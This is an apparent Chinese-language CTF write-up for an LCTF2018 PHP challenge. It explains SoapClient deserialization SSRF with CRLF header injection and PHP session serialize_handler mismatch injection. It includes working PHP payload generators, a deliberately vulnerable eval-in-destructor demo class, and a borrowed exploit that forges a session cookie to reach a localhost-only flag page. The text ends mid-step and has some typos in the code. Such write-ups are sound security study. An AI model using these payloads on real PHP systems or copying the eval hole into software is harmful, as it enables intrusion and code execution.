一: soap ssrf
soap服务是什么?
简单而言即一种通信方式特征
在phpinfo中可以看到利用条件
有可控的点去反序列化调用soapclient类进行SSRF
那么为什么要选择使用soapclient这个类呢?
- 如果开启了soap服务,soapclient类就是php的内置类
- 从php文档中可以看到,其第一个参数为$Url,这就为之后的ssrf作为铺垫
- 其次当数据被反序列化后,其对象还要调用一个不存在的类,以调用soapclient的__call方法
同时该类__call方法还有crlf注入漏洞,具体分析见:https://xz.aliyun.com/t/2148
如何触发ssrf呢?
参考:
该类实例化的时候有两个参数:
第一个参数控制是否为WSDL模式。如果为NULL,就是non-WSDL模式。
如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求。
如果是wsdl模式,在序列化之前就会对$url参数进行请求,从而无法可控序列化数据。
本地复现:
代码:1
2
3
4
5
6<?php
$location = 'https://155.94.177.154:6666/';
$a = new SoapClient(null, array('location' => $location ,'uri' => '123'));
$auth= unserialize(serial1ize($a));
$auth->aa();
echo "1";
另一台vps上开启监听:
执行:
vps监听到:
可以看到在soap库发送的xml数据在数据包的post处,所以这个的局限在于一般只能打get形的ssrf。
后来在l3m0n师傅的博客上看到可以发post请求的思路:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
二:php session反序列化
其核心原理在于php在存储序列化$_SESSION数据引擎和反序列化该数据的引擎不一样导致。
利用条件:
在同一网站能同时出现两种不同的session配置方式:
1
session.serialize_handler=php_serialize|php
$_SESSION值可控
满足以上几点即等价于我们对unserialize()的参数可控。
php.ini中的配置:1
2
3
4session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php --定义用来序列化/反序列化的处理器名字。默认使用php
session.serialize_handler的其他几种配置项:1
2
3php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
使用session.serialize_handler=php_serialize
:1
2
3
4<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["name"] = "PASSER6Y";
该方式在序列化数据前加了a:1:
而使用默认配置时(session.serialize_handler=php
):1
2
3
4<?php
//ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["name"] = "PASSER6Y";
php引擎将竖线(|)将其分割成两部分,前面为键名,后面为序列化数据
两者的差异在于用php方式时以|
分割,如果我们在php_serialize
存入的数据带有|
,而取出数据时使用php引擎,则会导致序列化数据在经过php引擎时被反序列化引发安全问题。
漏洞复现demo:
1.php1
2
3
4<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["passer6y"]=$_GET["a"];
2.php1
2
3
4
5
6
7
8
9
10
11
12
13<?php
ini_set('session.serialize_handler', 'php');
session_start();
class aa {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
构造payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18<?php
ini_set('session.serialize_handler', 'php');
session_start();
class aa {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
$a = new aa();
echo serialize($a); //O:2:"aa":1:{s:2:"hi";s:10:"phpinfo();";}
echo "\n\n";
echo urlencode(serialize($a));
payload: https://ip/?a=|O:2:%22aa%22:1:{s:2:%22hi%22;s:10:%22phpinfo();%22;}
然后访问:2.php
最后
回到题目来看,分析一下题目逻辑;
index.php1
2
3
4
5
6
7
8
9
10
11<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'],$_POST);
session_start();
if(isset($_GET['name'])){
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
flag.php1
2
3
4
5
6
7<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{******************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
第一个call_user_func()
函数可以帮助我们将php的session处理方式设置为php_serialize
,这里可以使用session_start()
来开启,他支持一个数组参数:
所以这一步我们将$_GET['f']=session_start
,然后post数据:serialize_handler=php_serialize
再往下$_GET['name']
,这使得我们可以控制session,所以这一步传入我们的soup的ssrf反序列化数据。
从flag.php中可知,flag是存储在我们的session中的(成功触发后,var_dump($_SESSION);
会显示出我们的flag),所以我们ssrf的时候要带上session,这里会用到soup ssrf的crlf漏洞。
当然在这里,soup ssrf 还需要一步,就是调用其类中的__call
方法,这里参考文档:
所以我们将精心构造的session数据存入后,第二次访问,利用变量覆盖将$b
变成call_user_func
,然后就能调用一个不存在的方法(welcome_to_the_lctf2018
),从而触发__call
方法,形成ssrf。
不知道环境问题还是啥调了很久,在第一步修改session_handle的类型时修改失败了,导致后面无法触发ssrf。复现的时候没有官方docker,调了很久还是不是很明白…
嫖的exp:1
2
3
4
5
6
7
8$target='https://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "AAA:BBB\r\n" .
"Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912",
'uri' => "https://127.0.0.1/"));
$se = serialize($b);
echo urlencode($se);
第二步: